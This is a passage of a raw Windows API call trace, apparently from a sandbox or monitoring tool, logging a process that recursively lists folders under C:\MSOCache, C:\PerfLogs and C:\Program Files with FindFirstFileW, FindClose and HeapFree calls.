lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfa2b92d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc0c6890, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc0c6890, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6396c8 [0195.121] FindClose (in: hFindFile=0x6396c8 | out: hFindFile=0x6396c8) returned 1 [0195.122] GetProcessHeap () returned 0x550000 [0195.122] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x25d0080 | out: hHeap=0x550000) returned 1 [0195.122] FindClose (in: hFindFile=0x639688 | out: hFindFile=0x639688) returned 1 [0195.123] GetProcessHeap () returned 0x550000 [0195.123] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x2580058 | out: hHeap=0x550000) returned 1 [0195.123] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\*", lpFindFileData=0x275f060 | out: lpFindFileData=0x275f060*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfe09ced0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x18179b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x18179b90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639688 [0195.126] FindClose (in: hFindFile=0x639688 | out: hFindFile=0x639688) returned 1 [0195.127] GetProcessHeap () returned 0x550000 [0195.127] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x2580058 | out: hHeap=0x550000) returned 1 [0195.127] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\*", lpFindFileData=0x275f060 | out: lpFindFileData=0x275f060*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xa5cd3a40, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xa8c22f80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa8c22f80, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639688 [0195.129] FindClose (in: hFindFile=0x639688 | out: hFindFile=0x639688) returned 1 [0195.130] GetProcessHeap () returned 0x550000 [0195.131] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x2580058 | out: hHeap=0x550000) returned 1 [0195.131] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\*", lpFindFileData=0x275f060 | out: lpFindFileData=0x275f060*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0x46538340, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x4a6d41a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x4a6d41a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639688 [0195.133] FindClose (in: hFindFile=0x639688 | out: hFindFile=0x639688) returned 1 [0195.135] GetProcessHeap () returned 0x550000 [0195.135] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x2580058 | out: hHeap=0x550000) returned 1 [0195.135] FindClose (in: hFindFile=0x639648 | out: hFindFile=0x639648) returned 1 [0195.135] GetProcessHeap () returned 0x550000 [0195.135] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5b4378 | out: hHeap=0x550000) returned 1 [0195.136] FindClose (in: hFindFile=0x639608 | out: hFindFile=0x639608) returned 1 [0195.136] GetProcessHeap () returned 0x550000 [0195.136] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5a4370 | out: hHeap=0x550000) returned 1 [0195.137] FindFirstFileW (in: lpFileName="\\\\?\\C:\\PerfLogs\\*", lpFindFileData=0x275f570 | out: lpFindFileData=0x275f570*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd72e458, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639608 [0195.138] FindFirstFileW (in: lpFileName="\\\\?\\C:\\PerfLogs\\Admin\\*", lpFindFileData=0x275f2e8 | out: lpFindFileData=0x275f2e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xbbba4afc, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639648 [0195.141] FindClose (in: hFindFile=0x639648 | out: hFindFile=0x639648) returned 1 [0195.141] GetProcessHeap () returned 0x550000 [0195.141] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x25d0080 | out: hHeap=0x550000) returned 1 [0195.141] FindClose (in: hFindFile=0x639608 | out: hFindFile=0x639608) returned 1 [0195.141] GetProcessHeap () returned 0x550000 [0195.141] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x2580058 | out: hHeap=0x550000) returned 1 [0195.141] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\*", lpFindFileData=0x275f570 | out: lpFindFileData=0x275f570*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xe1adcd40, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe1adcd40, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639608 [0195.142] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\*", lpFindFileData=0x275f2e8 | out: lpFindFileData=0x275f2e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xdbf5dfa0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdbf5dfa0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639648 [0195.142] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\DESIGNER\\*", lpFindFileData=0x275f060 | out: lpFindFileData=0x275f060*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69da35f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639688 [0195.142] FindClose (in: hFindFile=0x639688 | out: hFindFile=0x639688) returned 1 [0195.143] GetProcessHeap () returned 0x550000 [0195.143] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5a4370 | out: hHeap=0x550000) returned 1 [0195.143] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\*", lpFindFileData=0x275f060 | out: lpFindFileData=0x275f060*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x81afcd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x81afcd40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639688 [0195.143] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\*", lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51e19d30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xdbe166c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xdbe166c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6396c8 [0195.144] FindClose (in: hFindFile=0x6396c8 | out: hFindFile=0x6396c8) returned 1 [0195.144] GetProcessHeap () returned 0x550000 [0195.144] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5b4378 | out: hHeap=0x550000) returned 1 [0195.144] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\*", lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef015d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6396c8 [0195.146] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\*", lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeed38550, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeed38550, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639708 [0195.146] FindClose (in: hFindFile=0x639708 | out: hFindFile=0x639708) returned 1 [0195.146] GetProcessHeap () returned 0x550000 [0195.147] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x25e0088 | out: hHeap=0x550000) returned 1 [0195.147] FindClose (in: hFindFile=0x6396c8 | out: hFindFile=0x6396c8) returned 1 [0195.147] GetProcessHeap () returned 0x550000 [0195.147] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5b4378 | out: hHeap=0x550000) returned 1 [0195.147] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\*", lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x58c7d970, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x58c7d970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x58c7d970, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6396c8 [0195.148] FindClose (in: hFindFile=0x6396c8 | out: hFindFile=0x6396c8) returned 1 [0195.148] GetProcessHeap () returned 0x550000 [0195.148] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5b4378 | out: hHeap=0x550000) returned 1 [0195.148] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\*", lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5969b6f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xd9df3dc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd9df3dc0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6396c8 [0195.148] FindClose (in: hFindFile=0x6396c8 | out: hFindFile=0x6396c8) returned 1 [0195.149] GetProcessHeap () returned 0x550000 [0195.149] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5b4378 | out: hHeap=0x550000) returned 1 [0195.149] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\*", lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec79e70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc25b4860, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc25b4860, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639788 [0195.587] FindClose (in: hFindFile=0x639788 | out: hFindFile=0x639788) returned 1 [0195.589] GetProcessHeap () returned 0x550000 [0195.589] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5b4378 | out: hHeap=0x550000) returned 1 [0195.591] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\*", lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x61073d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x61073d10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639788 [0195.591] FindClose (in: hFindFile=0x639788 | out: hFindFile=0x639788) returned 1 [0195.592] GetProcessHeap () returned 0x550000 [0195.592] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5b4378 | out: hHeap=0x550000) returned 1 [0195.592] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\*", lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9e0df36a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639788 [0195.592] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\*", lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7545b2, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7545b2, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6397c8 [0195.593] FindClose (in: hFindFile=0x6397c8 | out: hFindFile=0x6397c8) returned 1 [0195.593] GetProcessHeap () returned 0x550000 [0195.593] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6165c8 | out: hHeap=0x550000) returned 1 [0195.594] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\*", lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7545b2, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7545b2, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6397c8 [0195.596] FindClose (in: hFindFile=0x6397c8 | out: hFindFile=0x6397c8) returned 1 [0195.596] GetProcessHeap () returned 0x550000 [0195.596] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6165c8 | out: hHeap=0x550000) returned 1 [0195.597] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\*", lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6397c8 [0195.597] FindClose (in: hFindFile=0x6397c8 | out: hFindFile=0x6397c8) returned 1 [0195.597] GetProcessHeap () returned 0x550000 [0195.597] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6165c8 | out: hHeap=0x550000) returned 1 [0195.597] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\*", lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6397c8 [0195.598] FindClose (in: hFindFile=0x6397c8 | out: hFindFile=0x6397c8) returned 1 [0195.598] GetProcessHeap () returned 0x550000 [0195.598] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6165c8 | out: hHeap=0x550000) returned 1 [0195.598] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE\\*", lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6397c8 [0195.598] FindClose (in: hFindFile=0x6397c8 | out: hFindFile=0x6397c8) returned 1 [0195.599] GetProcessHeap () returned 0x550000 [0195.599] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6165c8 | out: hHeap=0x550000) returned 1 [0195.599] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\el-GR\\*", lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6397c8 [0195.599] FindClose (in: hFindFile=0x6397c8 | out: hFindFile=0x6397c8) returned 1 [0195.599] GetProcessHeap () returned 0x550000 [0195.599] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6165c8 | out: hHeap=0x550000) returned 1 [0195.599] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\*", lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9e0df36a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6397c8 [0195.600] FindClose (in: hFindFile=0x6397c8 | out: hFindFile=0x6397c8) returned 1 [0195.601] GetProcessHeap () returned 0x550000 [0195.601] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6165c8 | out: hHeap=0x550000) returned 1 [0195.601] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\es-ES\\*", lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6397c8 [0195.601] FindClose (in: hFindFile=0x6397c8 | out: hFindFile=0x6397c8) returned 1 [0195.602] GetProcessHeap () returned 0x550000 [0195.602] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6165c8 | out: hHeap=0x550000) returned 1 [0195.602] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\et-EE\\*", lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6397c8 [0195.602] FindClose (in: hFindFile=0x6397c8 | out: hFindFile=0x6397c8) returned 1 [0195.603] GetProcessHeap () returned 0x550000 [0195.603] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6165c8 | out: hHeap=0x550000) returned 1 [0195.603] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fi-FI\\*", lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6397c8 [0195.603] FindClose (in: hFindFile=0x6397c8 | out: hFindFile=0x6397c8) returned 1 [0195.603] GetProcessHeap () returned 0x550000 [0195.603] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6165c8 | out: hHeap=0x550000) returned 1 [0195.603] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fr-FR\\*", lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x98159680, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x98159680, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6397c8 [0195.604] FindClose (in: hFindFile=0x6397c8 | out: hFindFile=0x6397c8) returned 1 [0195.604] GetProcessHeap () returned 0x550000 [0195.604] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6165c8 | out: hHeap=0x550000) returned 1 [0195.604] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\*", lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6397c8 [0195.604] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\*", lpFindFileData=0x275e8c8 | out: lpFindFileData=0x275e8c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639808 [0195.605] FindClose (in: hFindFile=0x639808 | out: hFindFile=0x639808) returned 1 [0195.605] GetProcessHeap () returned 0x550000 [0195.605] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x25f1098 | out: hHeap=0x550000) returned 1 [0195.605] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\*", lpFindFileData=0x275e8c8 | out: lpFindFileData=0x275e8c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639808 [0195.605] FindClose (in: hFindFile=0x639808 | out: hFindFile=0x639808) returned 1 [0195.605] GetProcessHeap () returned 0x550000 [0195.605] HeapFree (in: hHeap=0x550000, dwFlags=0x0, 